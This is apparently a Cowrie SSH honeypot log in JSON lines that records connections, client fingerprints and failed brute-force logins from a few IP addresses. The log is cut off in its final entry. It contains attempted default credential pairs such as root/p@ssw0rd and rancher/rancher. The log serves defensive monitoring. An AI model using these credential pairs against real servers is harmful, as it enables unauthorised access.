{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:07.978378Z","src_ip":"87.251.79.125","session":"b22db1dc71f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:08.052385Z","src_ip":"87.251.79.125","session":"b22db1dc71f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50562,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c1eaedef17d","protocol":"ssh","message":"New connection: 83.168.110.85:50562 (10.17.0.5:22) [session: 3c1eaedef17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:08.239691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:08.246024Z","src_ip":"83.168.110.85","session":"3c1eaedef17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a2a3a4","message":"login attempt [root/a1a2a3a4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:08.273700Z","src_ip":"87.251.79.125","session":"b22db1dc71f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:08.486446Z","src_ip":"83.168.110.85","session":"3c1eaedef17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:08.947586Z","src_ip":"83.168.110.85","session":"3c1eaedef17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:09.349868Z","src_ip":"87.251.79.125","session":"b22db1dc71f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:10.071137Z","src_ip":"83.168.110.85","session":"3c1eaedef17d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49036,"dst_ip":"10.17.0.5","dst_port":22,"session":"63fd595124ee","protocol":"ssh","message":"New connection: 83.168.110.85:49036 (10.17.0.5:22) [session: 63fd595124ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:15.496187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:15.501784Z","src_ip":"83.168.110.85","session":"63fd595124ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:15.622853Z","src_ip":"83.168.110.85","session":"63fd595124ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:15.992085Z","src_ip":"83.168.110.85","session":"63fd595124ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:17.387751Z","src_ip":"83.168.110.85","session":"63fd595124ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49052,"dst_ip":"10.17.0.5","dst_port":22,"session":"702679508682","protocol":"ssh","message":"New connection: 83.168.110.85:49052 (10.17.0.5:22) [session: 702679508682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:22.413174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:22.420046Z","src_ip":"83.168.110.85","session":"702679508682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:22.541883Z","src_ip":"83.168.110.85","session":"702679508682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:22.906701Z","src_ip":"83.168.110.85","session":"702679508682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:24.030712Z","src_ip":"83.168.110.85","session":"702679508682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43252,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e5b1b12fe37","protocol":"ssh","message":"New connection: 83.168.110.85:43252 (10.17.0.5:22) [session: 1e5b1b12fe37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:29.586607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:29.607286Z","src_ip":"83.168.110.85","session":"1e5b1b12fe37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:29.709450Z","src_ip":"83.168.110.85","session":"1e5b1b12fe37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:30.183141Z","src_ip":"83.168.110.85","session":"1e5b1b12fe37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:31.485236Z","src_ip":"83.168.110.85","session":"1e5b1b12fe37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44614,"dst_ip":"10.17.0.5","dst_port":22,"session":"890dc6f7b188","protocol":"ssh","message":"New connection: 83.168.110.85:44614 (10.17.0.5:22) [session: 890dc6f7b188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:36.541155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:36.546255Z","src_ip":"83.168.110.85","session":"890dc6f7b188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:36.667166Z","src_ip":"83.168.110.85","session":"890dc6f7b188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:37.033962Z","src_ip":"83.168.110.85","session":"890dc6f7b188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:38.299639Z","src_ip":"83.168.110.85","session":"890dc6f7b188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44626,"dst_ip":"10.17.0.5","dst_port":22,"session":"c83feed2957f","protocol":"ssh","message":"New connection: 83.168.110.85:44626 (10.17.0.5:22) [session: c83feed2957f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:43.460122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:43.465252Z","src_ip":"83.168.110.85","session":"c83feed2957f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:43.586774Z","src_ip":"83.168.110.85","session":"c83feed2957f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:44.214192Z","src_ip":"83.168.110.85","session":"c83feed2957f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:45.343855Z","src_ip":"83.168.110.85","session":"c83feed2957f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":45602,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd4dec82724c","protocol":"ssh","message":"New connection: 39.117.79.36:45602 (10.17.0.5:22) [session: dd4dec82724c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:47.689154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:47.693965Z","src_ip":"39.117.79.36","session":"dd4dec82724c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:47.894137Z","src_ip":"39.117.79.36","session":"dd4dec82724c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd","message":"login attempt [root/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:48.723699Z","src_ip":"39.117.79.36","session":"dd4dec82724c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:49.931149Z","src_ip":"39.117.79.36","session":"dd4dec82724c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46274,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4c339e7d38","protocol":"ssh","message":"New connection: 83.168.110.85:46274 (10.17.0.5:22) [session: ac4c339e7d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:51.143797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:51.149006Z","src_ip":"83.168.110.85","session":"ac4c339e7d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr